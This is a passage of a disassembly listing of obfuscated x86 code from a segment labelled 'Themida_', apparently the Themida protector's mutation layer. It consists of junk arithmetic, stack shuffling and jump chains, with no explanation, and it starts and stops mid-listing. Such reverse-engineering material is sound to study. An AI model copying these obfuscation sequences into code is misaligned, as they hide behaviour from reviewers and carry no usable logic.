		mov	ebx, 779F3AFBh
		and	ebp, ebx
		pop	ebx
		jmp	loc_56E8A3
; ---------------------------------------------------------------------------


loc_569C64:				; CODE XREF: Themida_:0056DB0Aj
		mov	eax, 0E825C13h
		mov	edi, eax
		pop	eax
		mov	ebx, 16E1CA72h
		add	ebx, edi
		jmp	loc_561E23
; ---------------------------------------------------------------------------

locret_569C78:				; CODE XREF: Themida_:0056B40Cj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_569F48
; ---------------------------------------------------------------------------


loc_569C7E:				; CODE XREF: Themida_:0056B005j
		mov	[esp], eax
		mov	eax, 7660383Dh
		push	esi
		mov	esi, 4E5E6E94h
		or	eax, esi
		pop	esi
		shl	eax, 4
		push	ebp
		mov	ebp, 5158471Eh
		push	5E57h
		mov	[esp], edi
		mov	edi, 2407588Ah
		jmp	loc_57336B
; ---------------------------------------------------------------------------


loc_569CAA:				; CODE XREF: Themida_:00573A40j
		pop	di
		jmp	loc_573E2A
; ---------------------------------------------------------------------------


loc_569CB1:				; CODE XREF: Themida_:0057273Aj
		bswap	eax
		push	2E18h
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		push	esi
		jmp	loc_573DC0
; ---------------------------------------------------------------------------


loc_569CC4:				; CODE XREF: Themida_:00573823j
		sub	eax, esi
		push	ecx
		mov	ecx, 2DBB2A5Ch
		add	ecx, 0FFFFFFFFh
		xor	ecx, 48553D45h
		neg	ecx
		xchg	ebx, ecx
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		xchg	ebx, ecx
		xor	ecx, 552F19B4h
		add	eax, ecx
		pop	ecx
		sub	eax, 9D7831h
		push	edx
		mov	edx, 4F946B9Dh
		add	eax, edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_567824
; ---------------------------------------------------------------------------


loc_569D00:				; CODE XREF: Themida_:0056C010j
		dec	edx
		push	esi
		mov	esi, 7AFA361Bh
		or	edx, esi
		jmp	loc_563B9E
; ---------------------------------------------------------------------------


loc_569D0E:				; CODE XREF: Themida_:00560F3Dj
		sub	eax, esi
		jmp	loc_568EC6
; ---------------------------------------------------------------------------


loc_569D15:				; CODE XREF: Themida_:0056C5F4j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	ebp
		push	460Ah
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_568DA9
; ---------------------------------------------------------------------------


loc_569D32:				; CODE XREF: Themida_:0056935Cj
		pop	esp
		push	ebp
		mov	ebp, 1585258h
		push	51Ch
		mov	[esp], edi
		mov	edi, 51E17E5Dh
		shl	edi, 8
		xor	edi, 78EE49BFh
		xor	edi, 0B813613Bh
		sub	ebp, edi
		pop	edi
		push	edi
		push	edx
		jmp	loc_56A869
; ---------------------------------------------------------------------------


loc_569D5F:				; CODE XREF: Themida_:0056FF84j
		mov	[esp], esi
		jmp	loc_563D8F
; ---------------------------------------------------------------------------


loc_569D67:				; CODE XREF: Themida_:0056F2BBj
		add	esi, 4
		add	esi, 4
		jmp	loc_56F8B7
; ---------------------------------------------------------------------------


loc_569D75:				; CODE XREF: Themida_:00571CA1j
		xor	bl, 34h
		or	bl, 0B8h
		add	bl, 0B4h
		add	dh, bl
		pop	ebx
		jmp	loc_571ADC
; ---------------------------------------------------------------------------


loc_569D86:				; CODE XREF: Themida_:0056053Fj
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_566707
; ---------------------------------------------------------------------------


loc_569D92:				; CODE XREF: Themida_:0056FD83j
		add	esi, edx
		pop	edx
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	0DC2h
		mov	[esp], ebp
		jmp	loc_56AB7D
; ---------------------------------------------------------------------------


loc_569DB5:				; CODE XREF: Themida_:0056DEE8j
		mov	ecx, 47F43735h
		mov	ebp, 0FD55F437h
		jmp	loc_5653E4
; ---------------------------------------------------------------------------


loc_569DC4:				; CODE XREF: Themida_:0056E1C2j
		add	eax, 57AA5D29h
		add	eax, esi
		sub	eax, 57AA5D29h
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_570D7A
; ---------------------------------------------------------------------------


loc_569DE5:				; CODE XREF: Themida_:00571EA1j
		shl	esi, 8
		jmp	loc_56D509
; ---------------------------------------------------------------------------


loc_569DED:				; CODE XREF: Themida_:0056AB63j
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, 163D7D9Bh
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56EF0E
; ---------------------------------------------------------------------------


loc_569E26:				; CODE XREF: Themida_:0057142Cj
		shl	ebp, 1
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		dec	ebp
		push	ebp
		not	dword ptr [esp]
		jmp	loc_5701B8
; ---------------------------------------------------------------------------


loc_569E38:				; CODE XREF: Themida_:00562270j
		mov	ebp, 6FD94BC0h
		sub	[esp+4], ebp
		jmp	loc_56317F
; ---------------------------------------------------------------------------


loc_569E46:				; CODE XREF: Themida_:0056F4BEj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	1618h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 6EE84E1Ch
		shl	ebp, 1
		jmp	loc_5686BE
; ---------------------------------------------------------------------------


loc_569E69:				; CODE XREF: Themida_:0055FA72j
		add	eax, 5DF47BB4h
		add	eax, edx
		sub	eax, 5DF47BB4h
		pop	edx
		add	eax, 0F5E8A5EEh
		push	eax
		add	dword ptr [esp], 292E27B3h
		jmp	loc_57361E
; ---------------------------------------------------------------------------


loc_569E88:				; CODE XREF: Themida_:0056625Bj
		push	edi
		mov	edi, 6A157A20h
		jmp	loc_56E629
; ---------------------------------------------------------------------------


loc_569E93:				; CODE XREF: Themida_:0056E033j
		mov	ebp, 28D44CC1h
		push	ecx
		mov	ecx, 5636262Dh
		push	edx
		mov	edx, 3CD35B28h
		sub	ecx, edx
		jmp	loc_573607
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		jmp	loc_56319D
; ---------------------------------------------------------------------------


loc_569ED7:				; CODE XREF: Themida_:00560EAAj
		sub	ebx, ebp
		sub	ebx, 353E6BEFh
		pop	ebp
		sub	eax, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5711A7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_569531
; ---------------------------------------------------------------------------


loc_569F08:				; CODE XREF: Themida_:00568280j
		sub	ch, 2Dh
		add	al, ch
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5667C1
; ---------------------------------------------------------------------------


loc_569F24:				; CODE XREF: Themida_:00560912j
		sub	esp, 4
		jmp	loc_567A93
; ---------------------------------------------------------------------------


loc_569F2F:				; CODE XREF: Themida_:0056A594j
		pop	edi
		add	esp, 4
		add	eax, [edx]
		mov	edx, [esp]
		add	esp, 4
		push	75F6h
		jmp	loc_56C154
; ---------------------------------------------------------------------------


loc_569F48:				; CODE XREF: Themida_:00569C79j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_569F4D:				; CODE XREF: Themida_:0056B58Dj
		mov	esi, 33C3228Bh
		or	ecx, esi
		jmp	loc_564977
; ---------------------------------------------------------------------------


loc_569F59:				; CODE XREF: Themida_:0056CA1Ej
		mov	esp, [esp]
		mov	dx, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 75FB7961h
		jmp	loc_56D9C6
; ---------------------------------------------------------------------------


loc_569F78:				; CODE XREF: Themida_:00565F4Cj
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56C239
; ---------------------------------------------------------------------------


loc_569F8A:				; CODE XREF: Themida_:0056173Fj
		add	eax, 4
		push	edi
		push	edx
		mov	edx, 45675420h
		xor	edx, 45675424h
		mov	edi, edx
		jmp	loc_572312
; ---------------------------------------------------------------------------


loc_569FA3:				; CODE XREF: Themida_:00573DC1j
		mov	ecx, 62F5A7Eh
		jmp	loc_568DEA
; ---------------------------------------------------------------------------


loc_569FAD:				; CODE XREF: Themida_:0056B9F1j
		mov	[esp], eax
		push	0A175A4Fh
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55FA36
; ---------------------------------------------------------------------------


loc_569FC7:				; CODE XREF: Themida_:00561D78j
		xor	ah, 0EAh
		push	ecx
		mov	ch, ah
		mov	bh, ch
		pop	ecx
		pop	eax
		shr	bh, 7
		inc	bh
		neg	bh
		push	eax
		mov	al, 7
		add	al, 8Eh
		add	bh, al
		mov	eax, [esp]
		add	esp, 4
		sub	bh, 9Fh
		add	al, 56h
		sub	al, bh
		push	cx
		mov	cl, 56h
		sub	al, cl
		pop	cx
		mov	ebx, [esp]
		push	6B58h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_561772
; ---------------------------------------------------------------------------


loc_56A009:				; CODE XREF: Themida_:005694EFj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_571577
; ---------------------------------------------------------------------------


loc_56A018:				; CODE XREF: Themida_:0055F7A4j
		push	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		jmp	loc_56982B
; ---------------------------------------------------------------------------


loc_56A028:				; CODE XREF: Themida_:005644FDj
		push	edi
		mov	edi, 27EE46FDh
		xor	eax, edi
		pop	edi
		sub	esi, 6F8C7AB9h
		add	esi, eax
		add	esi, 6F8C7AB9h
		jmp	loc_563F80
; ---------------------------------------------------------------------------


loc_56A044:				; CODE XREF: Themida_:0056768Bj
		mov	[esp], esp
		jmp	loc_572947
; ---------------------------------------------------------------------------


loc_56A04C:				; CODE XREF: Themida_:005650C7j
		pop	edx
		push	dword ptr [esp]
		pop	edi
		push	esi
		push	esp
		jmp	loc_57258A
; ---------------------------------------------------------------------------


loc_56A058:				; CODE XREF: Themida_:0056C0EAj
		sub	esi, edx
		add	esi, 18A54249h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56392F
; ---------------------------------------------------------------------------


loc_56A06B:				; CODE XREF: Themida_:0056EFFDj
		mov	edx, [esp]
		add	esp, 4
		or	edx, 79740390h
		push	ebp
		mov	ebp, 7B5A63B2h
		jmp	loc_5706B7
; ---------------------------------------------------------------------------


loc_56A085:				; CODE XREF: Themida_:005615BBj
		add	esp, 4
		sub	esi, edi
		pop	edi
		sub	eax, 55855A91h
		push	edi
		push	ebx
		mov	ebx, 103C2E6Ch
		mov	edi, 7C5F5C70h
		sub	edi, ebx
		pop	ebx
		add	edi, 0C1F33DBAh
		sub	eax, edi
		jmp	loc_5635F0
; ---------------------------------------------------------------------------


loc_56A0AF:				; CODE XREF: Themida_:0056E570j
		sub	ecx, 7E6206EFh
		mov	eax, [esp]
		jmp	loc_56EFC3
; ---------------------------------------------------------------------------


loc_56A0BD:				; CODE XREF: Themida_:00560DE5j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 71E1809h
		not	edx
		not	edx
		shl	edx, 1
		sub	edx, 490C6C6Eh
		sub	edx, 0C52FC3A0h
		sub	esi, edx
		pop	edx
		jmp	loc_563C0A
; ---------------------------------------------------------------------------


loc_56A0E6:				; CODE XREF: Themida_:00562C4Cj
		push	ebp
		push	7F04647Fh
		pop	ebp
		shr	ebp, 1
		jmp	loc_570A1D
; ---------------------------------------------------------------------------


loc_56A0F4:				; CODE XREF: Themida_:00562415j
		mov	[esp], ebp
		mov	ebp, 61AC7CC1h
		add	ebp, 9E538343h
		sub	edi, 1F5B0D1Bh
		add	edi, ebp
		add	edi, 1F5B0D1Bh
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 2
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56A565
; ---------------------------------------------------------------------------


loc_56A136:				; CODE XREF: Themida_:0056810Ej
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_573170
; ---------------------------------------------------------------------------


loc_56A13F:				; CODE XREF: Themida_:00570862j
		mov	edi, ecx
		pop	ecx
		jmp	loc_56DA0B
; ---------------------------------------------------------------------------


loc_56A147:				; CODE XREF: Themida_:00562E55j
		push	esi
		jmp	loc_56CF6C
; ---------------------------------------------------------------------------


loc_56A14D:				; CODE XREF: Themida_:00572F1Cj
		mov	esi, 49247579h
		sub	esi, eax
		pop	eax
		not	esi
		jmp	loc_56E1B2
; ---------------------------------------------------------------------------


loc_56A15C:				; CODE XREF: Themida_:0056DDE6j
		add	edx, esi
		push	ecx
		mov	ecx, 7CF34984h
		jmp	loc_5651E3
; ---------------------------------------------------------------------------


loc_56A169:				; CODE XREF: Themida_:005698CDj
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56A31C
; ---------------------------------------------------------------------------


loc_56A181:				; CODE XREF: Themida_:0056B6CEj
		add	edi, ecx
		pop	ecx
		mov	edx, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_571C04
; ---------------------------------------------------------------------------


loc_56A198:				; CODE XREF: Themida_:0056B8C9j
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_565C0C
; ---------------------------------------------------------------------------


loc_56A1C3:				; CODE XREF: Themida_:0056E1DAj
		mov	edi, 115A4E40h
		xor	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_55FCC3
; ---------------------------------------------------------------------------


loc_56A1D6:				; CODE XREF: Themida_:00571A67j
		xor	ebx, 27B64ECFh
		push	edx
		mov	edx, 7829159Dh
		sub	ebx, 25873345h
		add	ebx, edx
		jmp	loc_566360
; ---------------------------------------------------------------------------


loc_56A1EF:				; CODE XREF: Themida_:0056273Cj
		pop	esp
		mov	[esp], esi
		push	ecx
		push	73241AB3h
		jmp	loc_568723
; ---------------------------------------------------------------------------


loc_56A1FE:				; CODE XREF: Themida_:0056C78Cj
		push	ebp
		jmp	loc_5697F8
; ---------------------------------------------------------------------------


loc_56A204:				; CODE XREF: Themida_:0057264Ej
		push	6D9Fh
		jmp	loc_56BDB4
; ---------------------------------------------------------------------------


loc_56A20E:				; CODE XREF: Themida_:00561A46j
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 57353A74h
		sub	ecx, 4A372276h
		shr	ecx, 1
		shl	ecx, 4
		sub	ecx, 6315679Bh
		jmp	loc_5736C9
; ---------------------------------------------------------------------------


loc_56A22E:				; CODE XREF: Themida_:00560372j
		shr	ecx, 3
		jmp	loc_571D43
; ---------------------------------------------------------------------------


loc_56A236:				; CODE XREF: Themida_:0056F572j
		shr	edx, 2
		add	edx, 45ACAA7Fh
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		jmp	loc_5650DE
; ---------------------------------------------------------------------------


loc_56A24B:				; CODE XREF: Themida_:00568A5Fj
		mov	eax, 705371ACh
		jmp	loc_56F91F
; ---------------------------------------------------------------------------


loc_56A255:				; CODE XREF: Themida_:00564B36j
		add	esi, 4
		push	ebp
		sub	esp, 4
		jmp	loc_56556E
; ---------------------------------------------------------------------------


loc_56A267:				; CODE XREF: Themida_:00572471j
		add	esp, 4
		add	esi, 4
		jmp	loc_5638A3
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_57375D
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 42125AC2h
		mov	ebx, 13FF0CFEh
		xor	ebx, edi
		jmp	loc_55FEEA
; ---------------------------------------------------------------------------


loc_56A29E:				; CODE XREF: Themida_:00570933j
		pop	edi
		pop	eax
		add	edi, 0FFFFFFFFh
		add	edi, 0E5A3C5FBh
		jmp	loc_573E15
; ---------------------------------------------------------------------------


loc_56A2B1:				; CODE XREF: Themida_:0056595Fj
		add	dx, di
		pop	edi
		shr	dx, 8
		shl	dx, 5
		or	dx, 4668h
		push	bp
		jmp	loc_564AA1
; ---------------------------------------------------------------------------


loc_56A2C9:				; CODE XREF: Themida_:00573655j
		mov	ch, 25h
		add	al, ch
		pop	ecx
		add	dh, al
		pop	eax
		shl	dh, 3
		sub	dh, 68h
		push	eax
		push	ecx
		jmp	loc_56E26F
; ---------------------------------------------------------------------------


loc_56A2DE:				; CODE XREF: Themida_:0056B68Ej
		push	ecx
		push	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_56E06C
; ---------------------------------------------------------------------------


loc_56A303:				; CODE XREF: Themida_:0056E55Dj
		xor	ebx, 2B8C06A4h
		add	ecx, ebx
		jmp	loc_56C3BE
; ---------------------------------------------------------------------------


loc_56A310:				; CODE XREF: Themida_:005720F9j
		pop	edi
		xor	edi, 707668B6h
		jmp	loc_56E2F6
; ---------------------------------------------------------------------------


loc_56A31C:				; CODE XREF: Themida_:0056A17Cj
		push	edx
		mov	edx, 4
		add	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_563BED
; ---------------------------------------------------------------------------


loc_56A349:				; CODE XREF: Themida_:0056FFD1j
		push	eax
		mov	eax, 3F30015Ch
		jmp	loc_563AB7
; ---------------------------------------------------------------------------


loc_56A354:				; CODE XREF: Themida_:00566CE4j
		mov	[esp], edx
		jmp	loc_573DCE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edi
		jmp	loc_566AFF
; ---------------------------------------------------------------------------


loc_56A365:				; CODE XREF: Themida_:005651ECj
		dec	ecx
		shr	ecx, 7
		push	ebp
		mov	ebp, 37447484h
		neg	ebp
		xor	ebp, 2B00282Eh
		add	ebp, 522E1AFFh
		jmp	loc_561967
; ---------------------------------------------------------------------------


loc_56A382:				; CODE XREF: Themida_:00562592j
		mov	esi, 17547A5h
		jmp	loc_560F03
; ---------------------------------------------------------------------------


loc_56A38C:				; CODE XREF: Themida_:00573C51j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_5651F7
; ---------------------------------------------------------------------------


loc_56A3AF:				; CODE XREF: Themida_:00570F13j
		xor	bh, 0CBh
		add	bh, 96h
		not	bh
		jmp	loc_5714DF
; ---------------------------------------------------------------------------


loc_56A3BC:				; CODE XREF: Themida_:0056E7F7j
		mov	eax, 4
		add	esi, eax
		jmp	loc_561D5E
; ---------------------------------------------------------------------------


loc_56A3C8:				; CODE XREF: Themida_:0055FE6Dj
		mov	ebp, 744A3D45h
		jmp	loc_56D80C
; ---------------------------------------------------------------------------


loc_56A3D2:				; CODE XREF: Themida_:00562E8Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5731F0
; ---------------------------------------------------------------------------


loc_56A3E9:				; CODE XREF: Themida_:005742D5j
		mov	ch, 88h
		and	ch, 0D4h
		and	ch, 73h
		push	eax
		mov	ah, 18h
		neg	ah
		sub	ah, 67h
		xor	ah, 2Bh
		or	ch, ah
		pop	eax
		push	bx
		jmp	loc_56001A
; ---------------------------------------------------------------------------


loc_56A406:				; CODE XREF: Themida_:00567738j
		mov	dx, [esp]
		add	esp, 2
		xor	ah, 0
		or	ah, 5Ch
		push	bx
		mov	bh, 0B3h
		add	ah, 1
		add	ah, bh
		sub	ah, 1
		jmp	loc_5660F9
; ---------------------------------------------------------------------------


loc_56A424:				; CODE XREF: Themida_:0056F5E4j
		add	ecx, 8CCECE77h
		add	eax, 5F81DC8h
		add	eax, ecx
		sub	eax, 5F81DC8h
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_56F6B4
; ---------------------------------------------------------------------------


loc_56A445:				; CODE XREF: Themida_:0056DBF9j
		add	esp, 2
		add	ah, 1
		push	ecx
		jmp	loc_56CE55
; ---------------------------------------------------------------------------


loc_56A454:				; CODE XREF: Themida_:00565C62j
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_562DF7
; ---------------------------------------------------------------------------


loc_56A466:				; CODE XREF: Themida_:005671A1j
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	0D9h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_56EA13
; ---------------------------------------------------------------------------


loc_56A48D:				; CODE XREF: Themida_:0056D57Dj
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_570905
; ---------------------------------------------------------------------------


loc_56A4A0:				; CODE XREF: Themida_:00567221j
		add	ebx, 9710B23h
		add	ebx, esi
		sub	ebx, 9710B23h
		jmp	loc_55F8D5
; ---------------------------------------------------------------------------


loc_56A4B3:				; CODE XREF: Themida_:0056E4C1j
		neg	eax
		push	edi
		mov	edi, 39B14DFDh
		push	edx
		mov	edx, 3C212A24h
		and	edx, 26C17505h
		xor	edx, 67C676C8h
		jmp	loc_564038
; ---------------------------------------------------------------------------


loc_56A4D2:				; CODE XREF: Themida_:0057130Dj
		shl	ebp, 1
		neg	ebp
		sub	ebp, 33D31C27h
		sub	ecx, ebp
		jmp	loc_56331B
; ---------------------------------------------------------------------------


loc_56A4E3:				; CODE XREF: Themida_:00572AF2j
		push	small 0
		sub	[esp], al
		mov	al, [esp]
		add	esp, 2
		push	edx
		mov	dl, 9
		add	al, 8Eh
		jmp	loc_56E5B3
; ---------------------------------------------------------------------------


loc_56A4FA:				; CODE XREF: Themida_:0056E07Dj
		xor	edi, 3A65427Ch
		jmp	loc_5719F8
; ---------------------------------------------------------------------------


loc_56A505:				; CODE XREF: Themida_:00567B32j
		add	eax, 38527B9Fh
		jmp	loc_56FBE7
; ---------------------------------------------------------------------------


loc_56A50F:				; CODE XREF: Themida_:005637C1j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	eax
		pop	ecx
		jmp	loc_56FF9C
; ---------------------------------------------------------------------------


loc_56A520:				; CODE XREF: Themida_:0056E181j
		dec	ebx
		add	ebx, 3DD95A4Bh
		shr	ebx, 3
		sub	ebx, 0BE6FE3D2h
		jmp	loc_570B3B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		push	eax
		jmp	loc_561E50
; ---------------------------------------------------------------------------


loc_56A542:				; CODE XREF: Themida_:00567E3Fj
		not	cl
		shr	cl, 2
		sub	cl, 7
		add	cl, 0F2h
		sub	al, cl
		pop	ecx
		jmp	loc_5623AB
; ---------------------------------------------------------------------------


loc_56A555:				; CODE XREF: Themida_:0056CD94j
		push	si
		jmp	loc_56D405
; ---------------------------------------------------------------------------


loc_56A55C:				; CODE XREF: Themida_:005602E6j
		pop	edi
		add	esp, 4
		jmp	loc_5731BC
; ---------------------------------------------------------------------------


loc_56A565:				; CODE XREF: Themida_:0056A131j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56B550
; ---------------------------------------------------------------------------


loc_56A584:				; CODE XREF: Themida_:00563D7Aj
		mov	edi, 157D06EBh
		add	edi, 9BD773Ah
		add	edx, edi
		push	dword ptr [esp]
		jmp	loc_569F2F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		push	3C69h
		mov	[esp], ebx
		mov	ebx, 1E397E78h
		push	edx
		push	ebx
		mov	ebx, 3C14797Bh
		jmp	loc_56B934
; ---------------------------------------------------------------------------


loc_56A5D4:				; CODE XREF: Themida_:00571AE2j
		and	al, dh
		pop	edx
		neg	al
		jmp	loc_570775
; ---------------------------------------------------------------------------


loc_56A5DE:				; CODE XREF: Themida_:0056BB4Fj
		xor	al, ch
		pop	ecx
		push	ecx
		push	edx
		mov	dh, al
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		mov	dl, ch
		jmp	loc_56722C
; ---------------------------------------------------------------------------


loc_56A5F7:				; CODE XREF: Themida_:005661A2j
		pop	ebp
		jmp	loc_55FA98
; ---------------------------------------------------------------------------


loc_56A5FD:				; CODE XREF: Themida_:0057207Dj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_561847
; ---------------------------------------------------------------------------


loc_56A610:				; CODE XREF: Themida_:005683D8j
		push	ecx
		mov	ecx, 4953E56h
		sub	ecx, 73A6183h
		jmp	loc_562947
; ---------------------------------------------------------------------------


loc_56A621:				; CODE XREF: Themida_:0056F8F7j
		add	eax, 579752CBh
		add	eax, esi
		sub	eax, 579752CBh
		push	dword ptr [esp]
		jmp	loc_56CED5
; ---------------------------------------------------------------------------


loc_56A635:				; CODE XREF: Themida_:00563D13j
		xor	dl, 1Fh
		push	ecx
		mov	cl, 55h
		jmp	loc_572300
; ---------------------------------------------------------------------------


loc_56A640:				; CODE XREF: Themida_:00563E0Bj
		add	ebp, 1B3C2822h
		shr	ebp, 6
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5693A2
; ---------------------------------------------------------------------------


loc_56A657:				; CODE XREF: Themida_:00569775j
		and	edx, 2FED3F31h
		jmp	loc_56FDFB
; ---------------------------------------------------------------------------


loc_56A662:				; CODE XREF: Themida_:00567C84j
		push	ebx
		push	ebp
		mov	ebp, 187D2A7Ah
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_56FF3D
; ---------------------------------------------------------------------------


loc_56A673:				; CODE XREF: Themida_:0056048Bj
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55F70B
; ---------------------------------------------------------------------------


loc_56A67F:				; CODE XREF: Themida_:0056E14Fj
		mov	[esp], ecx
		mov	ecx, 668D566Dh
		jmp	loc_56DA4E
; ---------------------------------------------------------------------------


loc_56A68C:				; CODE XREF: Themida_:00569712j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_56D193
; ---------------------------------------------------------------------------


loc_56A69C:				; CODE XREF: Themida_:00562AB6j
		mov	ebp, 3BC643Bh
		push	ebp
		jmp	loc_56EA29
; ---------------------------------------------------------------------------


loc_56A6A7:				; CODE XREF: Themida_:00563167j
		and	esi, edx
		pop	edx
		and	esi, 0A025E41h
		xor	esi, 169E467Dh
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, 4A521BD4h
		not	ebp
		jmp	loc_5683DD
; ---------------------------------------------------------------------------


loc_56A6CB:				; CODE XREF: Themida_:0055FCB3j
		mov	[esp], edx
		mov	edx, 39780A45h
		sub	edx, 8C49CEh
		sub	edx, 29813814h
		xor	edx, 15C366CEh
		xor	edx, 3ABECF36h
		push	edx
		jmp	loc_565E57
; ---------------------------------------------------------------------------


loc_56A6F1:				; CODE XREF: Themida_:00562F66j
		sub	ebx, 4D84D1DEh
		mov	edx, ebx
		pop	ebx
		xor	edx, ecx
		pop	ecx
		add	eax, edx
		jmp	loc_57167D
; ---------------------------------------------------------------------------


loc_56A704:				; CODE XREF: Themida_:00561AADj
		add	esi, edx
		jmp	loc_5703F4
; ---------------------------------------------------------------------------


loc_56A70B:				; CODE XREF: Themida_:0056CF26j
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_56C48E
; ---------------------------------------------------------------------------


loc_56A714:				; CODE XREF: Themida_:00567F97j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56E10E
; ---------------------------------------------------------------------------


loc_56A72B:				; CODE XREF: Themida_:0056976Dj
		mov	[esp+2], dl
		mov	dx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 2
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		not	byte ptr [esp+1]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	0AFh
		mov	[esp], edi
		mov	edi, 4
